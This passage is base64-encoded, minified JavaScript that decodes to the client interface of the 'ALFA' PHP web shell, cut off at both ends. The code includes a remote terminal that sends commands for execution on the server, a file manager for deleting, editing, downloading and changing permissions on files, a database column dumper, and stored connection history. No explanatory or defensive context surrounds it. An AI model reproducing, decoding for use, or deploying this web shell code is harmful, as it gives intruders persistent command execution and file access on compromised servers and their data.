VuZ3RoJiYoYVtteXNxbF9jYWNoZVt0XS51c2VyKyJfIitteXNxbF9jYWNoZVt0XS5kYl09bXlzcWxfY2FjaGVbdF0pO3ZvaWQgMCE9PWUmJmRlbGV0ZSBhW2VdLHNldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiLGJ0b2EoSlNPTi5zdHJpbmdpZnkoYSkpLDIwMTIpfWZ1bmN0aW9uIGFsZmFFeGVjVGVybWluYWwoZSx0KXt2YXIgYT0iIjtpZigwPT0oYT12b2lkIDAhPT10PyJjZCAiK2NfOmUuYy52YWx1ZSkubGVuZ3RoKXJldHVybiExOyJsIj09YT9hPSJscyAtdHJoIC0tY29sb3IiOiJsbCI9PWEmJihhPSJscyAtbHRyaCAtLWNvbG9yIik7dmFyIGk9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKTthbGZhbG9hZGVyKGksImJsb2NrIiksY2xvc2VIaXN0b3J5Q21kKCJmcmVlIixlKTt2YXIgbD0iIjsiRk9STSI9PWUudGFnTmFtZSYmKGw9ZS5xdWVyeVNlbGVjdG9yKCIucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MKSwwPT0obD1sLnRyaW0oKSkubGVuZ3RoJiYobD1jXyk7dmFyIHI9ImE9IithbGZhYjY0KCJ0ZXJtaW5hbEV4ZWMiKSsiJmM9IithbGZhYjY0KGwpKyImYWxmYTE9IithbGZhYjY0KGEpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKTtpZihfQWpheChkLlVSTCxyLGZ1bmN0aW9uKGUsdCl7YWxmYWxvYWRlcih0LCJub25lIik7dHJ5e3ZhciBhPSQoInRhYl8iK2kpO251bGwhPWEmJigoLTE9PWEuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImFjdGl2ZS10ZXJtaW5hbC10YWIiKXx8Y2dpX2lzX21pbmltaXplZCkmJihhLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLGEuaW5uZXJUZXh0KSksY2dpX2lzX21pbmltaXplZCYmYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgiY2dpbG9hZGVyIikpfWNhdGNoKGUpe31lPUpTT04ucGFyc2UoZSksZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1vdXRwdXQgPiBwcmUiKS5pbm5lckhUTUw9ZS5vdXRwdXQsMCE9ZS5wYXRoLmxlbmd0aCYmKGQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUw9ZS5wYXRoKX0sITEsaSksdm9pZCAwPT09dCl7ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgLmNtZC1oaXN0b3J5LWhvbGRlciAuY29tbWFuZHMtaGlzdG9yeSIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgb25jbGljaz1cImQucXVlcnlTZWxlY3RvcignIyIraSsnIC5waHAtdGVybWluYWwtaW5wdXRcJykudmFsdWUgPSB0aGlzLmlubmVySFRNTDsiIGNsYXNzPSJoaXN0b3J5LWNtZC1saW5lIj4nK2ErIjwvZGl2PiIpO3ZhciBvPWFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoKSxuPW8uaW5kZXhPZihhKTstMSE9biYmby5zcGxpY2UobiwxKSxvLnB1c2goYSksc2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWhpc3RvcnkiLGJ0b2EoSlNPTi5zdHJpbmdpZnkobykpLDIwMTIpfWQucXVlcnlTZWxlY3RvcigiIyIraSsiIGlucHV0LnBocC10ZXJtaW5hbC1pbnB1dCIpLmZvY3VzKCl9ZnVuY3Rpb24gcGFnZUNoYW5nZWRGaWxlc01hbihlKXt2YXIgdD0iZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkLGE9Z2V0Q29va2llKHQrIl9wYWdlX251bWJlciIpLGk9ZS5pbm5lclRleHQ7aWYoIjw8Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2lmKCEoKGE9cGFyc2VJbnQoYSkpPjEpKXJldHVybiExO2k9YS0xfWlmKCI+PiI9PWkpe2E9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmFjdGl2ZS1wYWdlLW51bWJlciIpLmlubmVyVGV4dDthPXBhcnNlSW50KGEpO3ZhciBsPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5sYXN0LXBhZ2UtbnVtYmVyIikuaW5uZXJIVE1MO2lmKCEoYSsxPD0obD1wYXJzZUludChsKSkpKXJldHVybiExO2k9YSsxfXNldENvb2tpZSh0KyJfcGFnZV9udW1iZXIiLGksMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBhbGZhQ29sRHVtcGVySW5pdCgpe3ZhciBlPWQucXVlcnlTZWxlY3RvcigiLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUiKS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpLHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKSxhPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiYm94Iik7Zm9yKGk9MDtpPGEubGVuZ3RoO2krKylhW2ldLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbigpe251bGwhPXRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikmJih0aGlzLnBhcmVudEVsZW1lbnQucXVlcnlTZWxlY3RvcigiLm5lc3RlZCIpLmNsYXNzTGlzdC50b2dnbGUoImFjdGl2ZSIpLHRoaXMuY2xhc3NMaXN0LnRvZ2dsZSgiY2hlY2stYm94IikpfSk7dmFyIGk7YT10LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInN1Yi1ib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUpLGFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7dGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKTt2YXIgZT10aGlzLmdldEF0dHJpYnV0ZSgidGJsIiksdD10aGlzLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7dD10LnJlcGxhY2UoIm9wdGlvbl8iLCIiKSxjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGEuaGFzT3duUHJvcGVydHkodCl8fChjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbdF09e30pLHZvaWQgMD09PWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXSYmKGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXT1bXSk7dmFyIGE9dGhpcy5pbm5lckhUTUwsaT1jb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbdF1bZV0uaW5kZXhPZihhKTstMT09aT9jb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbdF1bZV0ucHVzaChhKTpjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbdF1bZV0uc3BsaWNlKGksMSl9KX1mdW5jdGlvbiBzaG93U3ltbGlua1BhdGgoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJyb3ciKSxpPSQoInRkX3Jvd18iK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoIm9wdF90aXRsZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7aWYobD1kZWNvZGVVUklDb21wb25lbnQocikrIiAtPiAiK2wsbnVsbCE9aSl7aS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGNsYXNzPSJzeW1saW5rX3BhdGgiIGlkPSJsaW5rX2lkXycrYSsnIj4nK2wrIjwvZGl2PiIpO3ZhciBvPXQuY2xpZW50WCxuPXQuY2xpZW50WS0zMDskKCJsaW5rX2lkXyIrYSkuc3R5bGUubGVmdD1vKyJweCIsJCgibGlua19pZF8iK2EpLnN0eWxlLnRvcD1uKyJweCJ9fWZ1bmN0aW9uIGhpZGVTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCksJCgibGlua19pZF8iK2UuZ2V0QXR0cmlidXRlKCJyb3ciKSkucmVtb3ZlKCl9ZnVuY3Rpb24gYWxmYWdldEZsYWdzKCl7ZGF0YT0iYT0iK2FsZmFiNjQoImdldF9mbGFncyIpKyImYz0iK2FsZmFiNjQoY18pKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUpe3ZhciB0PUpTT04ucGFyc2UoZSk7dC5oYXNPd25Qcm9wZXJ0eSgic2VydmVyIikmJihkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLmlubmVySFRNTD0nPGltZyBkcmFnZ2FibGU9ImZhbHNlIiB0aXRsZT0iJyt0LnNlcnZlci5uYW1lKyciIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvZmxhZ3MvNDgvJyt0LnNlcnZlci5jb2RlLnRvTG93ZXJDYXNlKCkrJy5wbmciPicsZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVswXS5zdHlsZS5kaXNwbGF5PSJpbmxpbmUiKSx0Lmhhc093blByb3BlcnR5KCJjbGllbnQiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3QuY2xpZW50Lm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mbGFncy80OC8nK3QuY2xpZW50LmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzFdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpfSl9ZnVuY3Rpb24gY29sRHVtcGxlclNlbGVjdFR5cGUoZSl7dmFyIHQ9ZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWU7JCgiY29sZHVtcGVyLWRlbGltaXRlci1pbnB1dCIpLnN0eWxlLmRpc3BsYXk9ImRlbGltaXRlciI9PXQ/ImlubGluZS1ibG9jayI6Im5vbmUifWZ1bmN0aW9uIGFsZmFDaGVja1VybEhhc2goKXt2YXIgZT13aW5kb3cubG9jYXRpb24uaGFzaC5zdWJzdHIoMSksdD1lLnNwbGl0KCImIikucmVkdWNlKGZ1bmN0aW9uKGUsdCl7dmFyIGE9dC5zcGxpdCgiPSIpO3JldHVybiBlW2FbMF1dPWFbMV0sZX0se30pO2lmKCIiIT1lKXN3aXRjaCh0LmFjdGlvbil7Y2FzZSJmaWxlbWFuIjpjYXNlIm9wdGlvbnMiOnQucGF0aD1kZWNvZGVVUklDb21wb25lbnQodC5wYXRoKSxnKCJGaWxlc01hbiIsdC5wYXRoLGZ1bmN0aW9uKGUpe2lmKHQuaGFzT3duUHJvcGVydHkoImZpbGUiKSl7dmFyIGE9ImF1dG8iO2lzQXJjaGl2ZSh0LmZpbGUpJiYoYT0idmlldyIpLGVkaXRvcih0LnBhdGgrIi8iK3QuZmlsZSxhLCIiLCIiLCIiLCJmaWxlIil9fSksIm9wdGlvbnMiPT10LmFjdGlvbiYmdC5oYXNPd25Qcm9wZXJ0eSgib3B0IikmJihhbGZhX2Nhbl9hZGRfb3B0PSEwLGcodC5vcHQsbnVsbCwiIiwiIiwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSQoIm1lbnVfb3B0XyIrdC5vcHQpLmlubmVySFRNTCksdC5oYXNPd25Qcm9wZXJ0eSgiZmlsZSIpfHxlZGl0b3JDbG9zZSgiZWRpdG9yIiksdC5oYXNPd25Qcm9wZXJ0eSgib3B0Iil8fGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvdyIpLGVkaXRvckNsb3NlKCJjZ2lsb2FkZXIiKTticmVhaztkZWZhdWx0OmcoIkZpbGVzTWFuIiwiPD9waHAgZWNobyAkR0xPQkFMU1siY3dkIl07ID8+IiksZWRpdG9yQ2xvc2UoImVkaXRvciIpLGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvdyIpLGVkaXRvckNsb3NlKCJjZ2lsb2FkZXIiKX1lbHNlIGcoIkZpbGVzTWFuIiwiPD9waHAgZWNobyAkR0xPQkFMU1siY3dkIl07ID8+IiksZWRpdG9yQ2xvc2UoImVkaXRvciIpLGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvdyIpLGVkaXRvckNsb3NlKCJjZ2lsb2FkZXIiKX1mdW5jdGlvbiBhbGZhRm1uZ3JDb250ZXh0Um93KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZm1hbmFnZXItcm93IGEubWFpbl9uYW1lIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmFkZEV2ZW50TGlzdGVuZXIoImNvbnRleHRtZW51IixmdW5jdGlvbihlKXt2YXIgdD1lLnRhcmdldCxhPSIiO2lmKCIuLiI9PShhPSJBIj09ZS50YXJnZXQucGFyZW50RWxlbWVudC50YWdOYW1lPyh0PWUudGFyZ2V0LnBhcmVudEVsZW1lbnQpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTp0LmdldEF0dHJpYnV0ZSgiZm5hbWUiKSkpcmV0dXJuITE7dmFyIGk9dC5nZXRBdHRyaWJ1dGUoImlkIiksbD10LmdldEF0dHJpYnV0ZSgicGF0aCIpLHI9dC5nZXRBdHRyaWJ1dGUoImZ0eXBlIiksbz1bIm5ld3RhYiIsImxpbmsiLCJkb3dubG9hZCIsInZpZXciLCJlZGl0IiwibW92ZSIsImNvcHkiLCJyZW5hbWUiLCJtb2RpZnkiLCJwZXJtaXNzaW9uIiwiY29tcHJlc3MiLCJleHRyYWN0IiwiZGVsZXRlIl07Zm9yKHZhciBuIGluImZpbGUiIT1yfHxpc0FyY2hpdmUoYSk/b1szXT0idmlld19hcmNoaXZlIjpvLnNwbGljZSgxMSwxKSwiZm9sZGVyIj09ciYmKG89WyJuZXd0YWIiLCJsaW5rIiwibW92ZSIsImNvcHkiLCJyZW5hbWUiLCJtb2RpZnkiLCJwZXJtaXNzaW9uIiwiY29tcHJlc3MiLCJkZWxldGUiXSksYWxmYVNvcnRNZW51SXRlbXMobyksbyl7dmFyIHM9ZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPSIrb1tuXSsiXSIpO3N3aXRjaChzLnNldEF0dHJpYnV0ZSgiZmlkIixpKSxzLnNldEF0dHJpYnV0ZSgiZm5hbWUiLGRlY29kZVVSSUNvbXBvbmVudChhKSkscy5zZXRBdHRyaWJ1dGUoInBhdGgiLGwpLHMuc2V0QXR0cmlidXRlKCJmdHlwZSIsciksb1tuXSl7Y2FzZSJ2aWV3IjpjYXNlImVkaXQiOnZhciBjPSJhdXRvIjsiZWRpdCI9PW9bbl0mJihjPSJlZGl0Iikscy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvJmZpbGU9IithKSxzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCciK2MrIicsJycsJycsJycsJ2ZpbGUnKSIpO2JyZWFrO2Nhc2UibmV3dGFiIjp2YXIgdT1hOyJmaWxlIj09cj8odT0iJmZpbGU9IithLHMuc2V0QXR0cmlidXRlKCJocmVmIiwiI2FjdGlvbj1maWxlbWFuJnBhdGg9IitjXysiLyIrdSkscy5zZXRBdHRyaWJ1dGUoInRhcmdldCIsIl9ibGFuayIpLHMub25jbGljaz1mdW5jdGlvbigpe30pOihzLnNldEF0dHJpYnV0ZSgiaHJlZiIsImphdmFzY3JpcHQ6dm9pZCgwKSIpLHMucmVtb3ZlQXR0cmlidXRlKCJ0YXJnZXQiKSxzLm9uY2xpY2s9ZnVuY3Rpb24oKXthbGZhRmlsZXNNYW5OZXdUYWIoY18sdSl9KTticmVhaztjYXNlImRlbGV0ZSI6cy5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJ2YXIgY2hrID0gY29uZmlybSgnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAiK2ErIiAjID8nKTsgY2hrID8gZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsICciK2ErIicpIDogJyc7Iik7YnJlYWs7Y2FzZSJkb3dubG9hZCI6cy5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJnKCdGaWxlc1Rvb2xzJyxudWxsLCciK2ErIicsICdkb3dubG9hZCcpIik7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp0cnl7dmFyIHA9ZC5xdWVyeVNlbGVjdG9yKCIjaWRfY2htb2RlXyIraS5yZXBsYWNlKCJpZF8iLCIiKSsiIHNwYW4iKS5pbm5lckhUTUw7cy5zZXRBdHRyaWJ1dGUoInBlcm0iLHAudHJpbSgpKX1jYXRjaChlKXt9YnJlYWs7Y2FzZSJsaW5rIjpzLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt2YXIgZj0iPD9waHAgZWNobyAkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdOyA/Pi8iLG09KGNfKyIvIithKS5yZXBsYWNlKC9cL1wvL2csIi8iKTtpZigtMSE9bS5pbmRleE9mKGYpKXtmPW0ucmVwbGFjZShmLCIiKTt2YXIgYj1sb2NhdGlvbi5vcmlnaW4rIi8iK2Y7cy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIiK2IpfWVsc2Ugcy5zdHlsZS5kaXNwbGF5PSJub25lIn19dmFyIHk9ZS5jbGllbnRYLF89ZS5jbGllbnRZO2FsZmFSaWdodENsaWNrTWVudSh5LF8pLGUucHJldmVudERlZmF1bHQoKX0pfSl9ZnVuY3Rpb24gYWxmYUZpbGVzTWFuTmV3VGFiKGUsdCxhKXt2YXIgaT10O3ZvaWQgMCE9PWEmJihpPWFsZmFHZXRMYXN0Rm9sZGVyTmFtZShlKSk7dmFyIGw9ZGVjb2RlVVJJQ29tcG9uZW50KGUrIi8iK3QpO2w9bC5yZXBsYWNlKC9cL1wvL2csIi8iKTt2YXIgcj0kKCJmaWxlc21hbl90YWJfMSIpLG89ci5nZXRBdHRyaWJ1dGUoImZtX2NvdW50ZXIiKTtvPXBhcnNlSW50KG8pKzEsci5zZXRBdHRyaWJ1dGUoImZtX2NvdW50ZXIiLG8pLGQucXVlcnlTZWxlY3RvcigiI2ZpbGVzbWFuX3RhYnNfY2hpbGQiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25tb3VzZW92ZXI9ImFsZmFGaWxlc21hblRhYlNob3dUaXRsZSh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImFsZmFGaWxlc21hblRhYkhpZGVUaXRsZSh0aGlzLGV2ZW50KTsiIHBhdGg9IicrbCsnIiBpZD0iZmlsZXNtYW5fdGFiXycrbysnIiBmbV9pZD0iJytvKyciIG9uY2xpY2s9ImZpbGVzbWFuVGFiQ29udHJvbGxlcih0aGlzKTsiIGZuYW1lPSInK3QrJyIgY2xhc3M9ImZpbGVzbWFuX3RhYiI+PGltZyBjbGFzcz0iZm9sZGVyLXRhYi1pY29uIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9mb2xkZXIyLnN2ZyI+IDxzcGFuIGNsYXNzPSJmaWxlc21hbi10YWItZm9sZGVyLW5hbWUiPicraSsnPC9zcGFuPiA8aW1nIGZtX2lkPSInK28rJyIgb25jbGljaz0iY2xvc2VGbVRhYih0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+JyksZC5xdWVyeVNlbGVjdG9yKCIuYWpheGFyZWEiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIiwnPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IiBmbV9pZD0iJytvKyciIGlkPSJmaWxlc21hbl9ob2xkZXJfJytvKyciIGNsYXNzPSJhamF4YXJlYSI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nKSxhbGZhX2ZtX2lkPW8sZygiRmlsZXNNYW4iLGwpLGFsZmFfZm1faWQ9MH1mdW5jdGlvbiBhbGZhRmlsZXNtYW5UYWJTaG93VGl0bGUoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPSQoImZpbGVzbWFuLXRhYi1mdWxsLXBhdGgiKTthLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixhLnN0eWxlLnRvcD1lLm9mZnNldFRvcC0zNysicHgiLGEuc3R5bGUubGVmdD1lLm9mZnNldExlZnQtJCgiZmlsZXNtYW5fdGFicyIpLnNjcm9sbExlZnQrInB4IixhLmlubmVySFRNTD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpfWZ1bmN0aW9uIGFsZmFGaWxlc21hblRhYkhpZGVUaXRsZShlLHQpeyQoImZpbGVzbWFuLXRhYi1mdWxsLXBhdGgiKS5zdHlsZS5kaXNwbGF5PSJub25lIn1mdW5jdGlvbiBhbGZhUG9wdXBBY3Rpb24oZSx0KXt2YXIgYT0iIixpPSIiO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6YT0iT2xkIGZpbGUgbmFtZToiLGk9Ik5ldyBmaWxlIG5hbWU6IjticmVhaztjYXNlImNvcHkiOmE9IkZpbGUgcGF0aDoiLGk9IkVudGVyIHRoZSBmaWxlIHBhdGggdGhhdCB5b3Ugd2FudCB0byBjb3B5IHRoaXMgZmlsZSB0bzoiO2JyZWFrO2Nhc2UibW92ZSI6YT0iQ3VycmVudCBQYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIG1vdmUgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJleHRyYWN0IjphPSJGaWxlcyB0byBleHRyYWN0OiIsaT0iRW50ZXIgdGhlIHBhdGggeW91IHdpc2ggdG8gZXh0cmFjdCB0aGUgZmlsZXMgdG8gYW5kIGNsaWNrIEV4dHJhY3Q6In12YXIgbD1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJwYXRoIiksbz10LmNoYXJBdCgwKS50b1VwcGVyQ2FzZSgpK3Quc2xpY2UoMSk7aWYoInBlcm1pc3Npb24iPT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIyMjJweCIsbz0iQ2hhbmdlIFBlcm1pc3Npb25zIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikuc3R5bGUuZGlzcGxheT0ibm9uZSI7dmFyIG49ZS5nZXRBdHRyaWJ1dGUoInBlcm0iKSxzPW4uc3Vic3RyKDEsMSksYz1uLnN1YnN0cigyLDEpLHU9bi5zdWJzdHIoMywxKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWU9cyxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9YyxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9dSxhdXRvQ2hlY2tQZXJtcyhzLCJ1IixbInUiLCJnIiwidyJdKSxhdXRvQ2hlY2tQZXJtcyhjLCJnIiksYXV0b0NoZWNrUGVybXModSwidyIpfWVsc2UgZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciIpLnN0eWxlLmhlaWdodD0iMTkwcHgiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiAucGVybS10YWJsZS1ob2xkZXIiKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgcD0ibW92ZSI9PXR8fCJjb3B5Ij09dD9yK2w6bDtpZigibW9kaWZ5Ij09dCl7dmFyIGY9InRyX3Jvd18iK2UuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKTtwPWQucXVlcnlTZWxlY3RvcigiIyIrZisiIC5tYWluX21vZGlmeSIpLmlubmVyVGV4dH1kLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5wb3B1cC1oZWFkIikuaW5uZXJIVE1MPW8sZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAub2xkLXBhdGgtbGJsIikuaW5uZXJIVE1MPWEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAubmV3LWZpbGVuYW1lLWxibCIpLmlubmVySFRNTD1pLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWZvb3QgPiBidXR0b25bbmFtZT1hY2NlcHRdIikuaW5uZXJIVE1MPW8sZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiAub2xkLXBhdGgtY29udGVudCIpLmlubmVySFRNTD1yK2wsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlPXAsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciBidXR0b25bbmFtZT1hY2NlcHRdIikuc2V0QXR0cmlidXRlKCJmaWQiLGUuZ2V0QXR0cmlidXRlKCJmaWQiKSksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciBidXR0b25bbmFtZT1hY2NlcHRdIikuc2V0QXR0cmlidXRlKCJhY3Rpb24iLHQpfWZ1bmN0aW9uIGNhbGNwZXJtKCl7dmFyIGU9ZXZlbnQuc3JjRWxlbWVudDthdXRvQ2hlY2tQZXJtcyhlLmNoZWNrZWQsZS5uYW1lLnN1YnN0cigwLDEpKX1mdW5jdGlvbiBhdXRvQ2hlY2tQZXJtcyhlLHQsYSl7aWYodm9pZCAwIT09YSlmb3IodmFyIGkgaW4gYSl7dmFyIGw9YVtpXTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsicl0iKS5jaGVja2VkPSExLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJ3XSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInhdIikuY2hlY2tlZD0hMX12YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsicl0iKSxvPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJ3XSIpLG49ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInhdIik7aWYoImJvb2xlYW4iIT10eXBlb2YgZSkiNyI9PWU/KHIuY2hlY2tlZD0hMCxvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNCI9PWU/ci5jaGVja2VkPSEwOiIyIj09ZT9vLmNoZWNrZWQ9ITA6IjEiPT1lP24uY2hlY2tlZD0hMDoiNiI9PWU/KHIuY2hlY2tlZD0hMCxvLmNoZWNrZWQ9ITApOiIzIj09ZT8oby5jaGVja2VkPSEwLG4uY2hlY2tlZD0hMCk6IjUiPT1lJiYo